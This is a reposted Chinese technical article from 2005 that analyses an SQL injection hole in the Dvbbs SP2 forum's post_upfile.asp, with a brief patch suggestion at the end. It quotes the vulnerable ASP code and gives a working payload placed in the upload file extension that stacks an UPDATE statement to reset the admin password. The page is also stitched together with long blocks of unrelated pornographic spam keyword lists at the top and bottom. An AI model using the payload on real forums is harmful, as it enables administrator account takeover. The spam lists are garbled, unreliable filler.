国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關(guān)注微信公眾號

dvsp2上傳漏洞再現(xiàn)----擊潰動網(wǎng)sp2的神話
2005-12-17   

前段時間聽說動網(wǎng)的上傳再次出現(xiàn)了不可修復的錯誤,有人居然說是upload.inc有錯,我仔細的讀了N遍代碼,可以肯定的說,upload.inc應該沒有辦法利用,今天無意中跑到動網(wǎng)的官方網(wǎng)站上去仔細的看了一下,個人資料修改里有上傳,但是發(fā)帖里卻沒有上傳,upload.asp和post_upload.asp同樣用到了upload.inc,證明這個文件絕對沒有問題,那問題一定出在post_upfile.asp上了,打開這個文件再次通讀一遍!
一看
If upload_ViewType<>999 and F_Type=1 then
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
Else
Dvbbs.execute("insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)")
有sql語句,難道傳說中的上傳再次利用是注入而不是上傳,那我們就把他提交的變量每一個來通讀一下
Dvbbs.BoardID,Dvbbs.UserID,Dvbbs.membername,F(xiàn)_Viewname,F(xiàn)_Type,F(xiàn)ilesize這幾個是肯定沒有問題的,其它的幾個我們就來看一下,這幾個變量從哪來的,怎么得到的!
先說第一個replace(rename,"|","")把rename里的"|"這個符號去掉,我們看看rename的變量怎么來的,rename=createPath&Filename&"|"
是用createpath和filename連接起來再加上"|"生成的,"|"符號在后面被過濾了,可以不用考濾,再分別看看creatpath和filename
File_name = createName()
Filename = File_name&"."&FileExt(由file_name和fileExt聯(lián)合起來的)
Private Function createName()
Dim ranNum
Randomize
ranNum=int(999*rnd)
createName=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum
End Function
很明顯,file_name是按年月日加隨機數(shù)生成的,沒有辦法利用,疑點就在fileExt了。。。。。
難道,傳說中的就要出現(xiàn)了,先不慌,我們先看看其它的地方
而creatpath又是這樣來的
Private Function createPath()
Dim objFSO,Fsofolder,uploadpath
uploadpath=year(now)&"-"&month(now) '以年月創(chuàng)建上傳文件夾,格式:2003-8
On Error Resume Next
Set objFSO = Server.createObject("Scripting.FileSystemObject")
If objFSO.FolderExists(Server.MapPath(CheckFolder&uploadpath))=False Then
objFSO.createFolder Server.MapPath(CheckFolder&uploadpath)
End If
If Err.Number = 0 Then
createPath=uploadpath&"/"
Else
createPath=""
End If
Set objFSO = Nothing
End Function
creatpath又是用uploadpath加上fso按年月生成的,例如uploadfile/2004-11之類的,這樣,又不能利用
好,這里發(fā)現(xiàn)一個疑點了
我們再看另一個變量replace(FileExt,".",""),直接就是前面提到的有疑點的那個fileExt了,呵呵,看準了,就是他了。我們把他的來龍去脈全找出來,看看能不能利用
Set File=upload.File(FormName) ''生成一個文件對象
FileExt=FixName(File.FileExt)
在這里,他開始出現(xiàn)了
file.fileExt這個不是我們提交的擴展名嗎,玩過動網(wǎng)上傳的都知道,抓個包,改個擴展名這是蠻正常的事,看來有門了,至少我們這個地方可以利用,====,F(xiàn)ileExt=FixName(File.FileExt)他還用fixname來過濾了的,我們看看這個函數(shù)有什么用
Function FixName(UpFileExt)
If IsEmpty(UpFileExt) Then Exit Function
FixName = Lcase(UpFileExt)
FixName = Replace(FixName,Chr(0),"")
FixName = Replace(FixName,".","") 哈哈,把.替換成空了,為什么動網(wǎng)sp2的上傳利用不了,就在這里的原因
FixName = Replace(FixName,"asp","")把asp替換成空
FixName = Replace(FixName,"asa","") asa過濾
FixName = Replace(FixName,"aspx","") aspx過濾
FixName = Replace(FixName,"cer","") cer過濾
FixName = Replace(FixName,"cdx","") cdx過濾
FixName = Replace(FixName,"htr","") htr過濾
End Function
哈哈,全部只是過濾了一些特殊的地方,但是我們?nèi)绻脕碜⑷胗玫降囊枺痔?,逗號,--,一個都沒有過濾,也就是說是通行無阻了,嘎嘎,接下來就是用到構(gòu)造語句了,我們再來看他的sql語句
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"','"&replace(rename,"|","")&"','"&F_Viewname&"','"&replace(FileExt,".","")&"',"&F_Type&","&Filesize&",4)
在values后面
"&Dvbbs.BoardID&","&Dvbbs.UserID&",'"&Dvbbs.membername&"
這些全部是正常的,我們改了fleExt后,rename也跟著變化了,所以實際上后面的&replace(FileExt,".","")&這里我們就可以不管了,只要構(gòu)造前面的rename,再看看reanme是如何來的
rename=createPath&Filename&"|"
File_name = createName()
Filename = File_name&"."&FileExt
createpath是正常的一串值,可以不計,file_name也是正常的值可以不計,中間有一個.可以不計,后面的"|"他幫我們自己過濾了,可以不計.我們假設(shè)他的語句為
insert into dv_upFile (F_BoardID,F_UserID,F_Username,F_Filename,F_Viewname,F_FileType,F_Type,F_FileSize,F_Flag) values ("1","1",'"user"','uploadfile/2004-11/2324128374912.jpg','user','jpg',"1","1000",4)
這是一條正常的語句,我們能利用的地方就是jpg,這個地方是我們包里可以傳送過去的,是本地的文件擴展名,那我們就把jpg構(gòu)造成具體的完整的sql語句。
比如jpg替換成
jpg','user','jpg',"1","1000",4);update dv_admin set userpasswrod='123' where username='admin'--jpg
(說一句,他的f_type是用來檢測文件類型的,如果是1,也就是圖片就執(zhí)行的前一條sql語句,如果是其它就執(zhí)行的后一條語句,具體的代碼在這里
F_Type = CheckFiletype(FileExt)
checkfiletype函數(shù)的代碼又是這樣的
Private Function CheckFiletype(FileExt)
Dim upFiletype
Dim FilePic,FileVedio,FileSoft,FileFlash,FileMusic
FileExt=Lcase(Replace(FileExt,".",""))
select Case Lcase(FileExt)
Case "gif", "jpg", "jpeg","png","bmp","tif","iff"
CheckFiletype=1
Case "swf", "swi"
CheckFiletype=2
Case "mid", "wav", "mp3","rmi","cda"
CheckFiletype=3
Case "avi", "mpg", "mpeg","ra","ram","wov","asf"
CheckFiletype=4
Case Else
CheckFiletype=0
End select
End Function
這里也用到了fileExt這個變量,也就是我們的擴展名
去掉所有的".",然后再去取后的擴展名,所以我們的語句最后結(jié)束時要用考濾到這個,因為第一語句和第二語句構(gòu)造方法不一樣的!)
嘎嘎,dv_admin里的admin的userpassword就被改為123了.
如果是access版的好像有點難度,分號是不能多語執(zhí)行的,又不是where條件,不能拿來猜測,而且values的值好像不能用select 來把其它的值填入,只有把整個select 的值拿來返回做為記錄加入,沒辦法在values里單獨取值,有沒有人能有辦法構(gòu)造出這個完美的語法來,教教偶,偶sql水平不是蠻高,access版的暫時還沒有想到完整的辦法。
文章至些結(jié)束了,最重要的要說的就是所有的放入到sql語句里的參數(shù)都要嚴格檢測,這個地方的補丁一個是在fixname()函數(shù)里過濾,如果不會的暫時就先關(guān)掉發(fā)帖上傳的功能吧,等補??!:)

熱詞搜索:

上一篇:SQL注入得到WEBSHELL
下一篇:腳本攻擊防范策略完全篇

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
亚洲女厕所小便bbb| 欧美精品一二三区| 日韩一区二区三免费高清| 亚洲一区在线观看免费| 一本色道久久综合狠狠躁的推荐 | 成人动漫视频在线| 日韩理论片一区二区| 欧美日韩国产综合视频在线观看 | 久久久久久免费| 波多野结衣中文字幕一区二区三区 | 成熟亚洲日本毛茸茸凸凹| 日韩久久一区二区| 日韩一区二区中文字幕| 色婷婷一区二区三区四区| 亚洲欧洲制服丝袜| 日韩一级视频免费观看在线| 国产黄色精品网站| 午夜久久久久久电影| 久久精品视频在线看| 精品1区2区3区| 国产精品538一区二区在线| 亚洲一卡二卡三卡四卡五卡| 久久久不卡网国产精品一区| 欧美三级视频在线| av电影一区二区| 国产一区二区福利视频| 亚洲电影一级黄| 一区在线播放视频| 国产亚洲一区二区三区在线观看| 色婷婷久久久综合中文字幕| 激情综合五月天| 亚洲123区在线观看| 国产精品高潮呻吟| 精品欧美一区二区三区精品久久 | 粉嫩aⅴ一区二区三区四区| 午夜视黄欧洲亚洲| 亚洲精选一二三| 国产精品久久久久久久蜜臀| 精品国产污污免费网站入口| 欧美精品久久久久久久多人混战| 91原创在线视频| 91在线视频18| av一二三不卡影片| 成年人午夜久久久| www.欧美色图| 99久久er热在这里只有精品66| 国产自产视频一区二区三区| 免费在线观看成人| 青娱乐精品视频| 首页亚洲欧美制服丝腿| 亚洲成人777| 天使萌一区二区三区免费观看| 亚洲最大成人网4388xx| 亚洲一级二级在线| 亚洲福利视频一区| 亚洲国产综合视频在线观看| 亚洲一区二区美女| 天堂影院一区二区| 激情深爱一区二区| 国产精品综合av一区二区国产馆| 国产一区二区三区在线观看精品| 国产乱人伦偷精品视频不卡| 国产最新精品免费| aaa亚洲精品一二三区| 一本色道久久综合狠狠躁的推荐| 91久久精品一区二区二区| 欧美视频一区在线| 日韩欧美在线1卡| 国产偷国产偷精品高清尤物| 中文字幕一区二区视频| 亚洲精品中文字幕在线观看| 日韩精品一卡二卡三卡四卡无卡| 久久精品72免费观看| 国产成人精品一区二区三区四区 | 亚洲精品免费在线播放| 性欧美大战久久久久久久久| 久久精品久久99精品久久| 国产精选一区二区三区| 色婷婷av一区二区三区软件| 欧美日本韩国一区二区三区视频| 日韩久久精品一区| 国产精品免费丝袜| 亚洲高清一区二区三区| 韩国v欧美v日本v亚洲v| av中文字幕在线不卡| 555夜色666亚洲国产免| 欧美激情一区二区三区不卡| 亚洲九九爱视频| 久久9热精品视频| 波多野结衣欧美| 91精品欧美久久久久久动漫| 欧美国产禁国产网站cc| 日韩成人伦理电影在线观看| www.亚洲在线| 欧美一区欧美二区| 国产精品成人免费| 精品一区二区三区在线观看国产| 成人精品免费网站| 日韩亚洲欧美一区二区三区| 亚洲欧美电影院| 国产精品综合二区| 欧美久久久久免费| 亚洲视频中文字幕| 国产精品一区二区久激情瑜伽 | 一区二区视频在线看| 久久精品国产99国产精品| 欧美性大战久久久| 中文字幕一区在线观看| 国产一区在线看| 欧美日韩国产小视频在线观看| 中文字幕成人网| 国产精品资源在线| 欧美刺激脚交jootjob| 亚洲国产成人精品视频| av电影一区二区| 亚洲国产激情av| 国产丶欧美丶日本不卡视频| 制服丝袜中文字幕一区| 亚洲一区二区不卡免费| 欧洲另类一二三四区| 亚洲欧美日韩一区| 成人毛片在线观看| 欧美经典三级视频一区二区三区| 精品一区二区影视| 精品国产麻豆免费人成网站| 丝袜美腿亚洲一区二区图片| 欧美午夜片在线看| 一区二区三区免费在线观看| 91色九色蝌蚪| 一区二区三区欧美日韩| 欧美日韩三级在线| 亚洲成人资源在线| 欧美人动与zoxxxx乱| 视频一区视频二区中文字幕| 91精品国产福利| 久久成人18免费观看| 久久免费电影网| 成人午夜激情在线| 中文字幕亚洲欧美在线不卡| 99精品欧美一区二区三区小说 | 无吗不卡中文字幕| 91精品在线麻豆| 国内精品免费在线观看| 久久这里只精品最新地址| 国产精品一区二区无线| 中文一区二区完整视频在线观看| 成人免费看片app下载| 亚洲精品国产精品乱码不99| 欧美日韩视频专区在线播放| 免费不卡在线观看| 国产精品污污网站在线观看| 97se亚洲国产综合自在线| 亚洲一区二区三区在线看| 91精品欧美综合在线观看最新| 国产一区日韩二区欧美三区| 自拍偷拍亚洲欧美日韩| 91精品国产欧美日韩| 国产精品正在播放| 亚洲色图色小说| 欧美成人在线直播| 91啪亚洲精品| 理论电影国产精品| 玉足女爽爽91| 国产亚洲一区二区三区在线观看| 色欧美片视频在线观看| 麻豆成人91精品二区三区| 国产精品久线观看视频| 欧美精品乱人伦久久久久久| 国产91在线观看| 尤物av一区二区| 国产人久久人人人人爽| 欧美色爱综合网| 国产精品1024久久| 首页欧美精品中文字幕| 亚洲图片欧美激情| 久久久久久电影| 在线成人午夜影院| 成人小视频在线观看| 男人的天堂久久精品| 一区二区三区欧美在线观看| 国产欧美日韩在线看| 日韩欧美www| 欧美日本一区二区在线观看| 99精品视频一区| 成人一道本在线| 精品写真视频在线观看| 日韩黄色小视频| 亚洲国产一区视频| 成人欧美一区二区三区视频网页| 欧美videos中文字幕| 欧美浪妇xxxx高跟鞋交| 在线国产亚洲欧美| 一本一道久久a久久精品综合蜜臀 一本一道综合狠狠老 | 国产精品丝袜一区| 26uuu亚洲综合色欧美| 欧美一级视频精品观看| 56国语精品自产拍在线观看| 欧美剧情片在线观看| 欧美日韩不卡一区| 在线一区二区观看|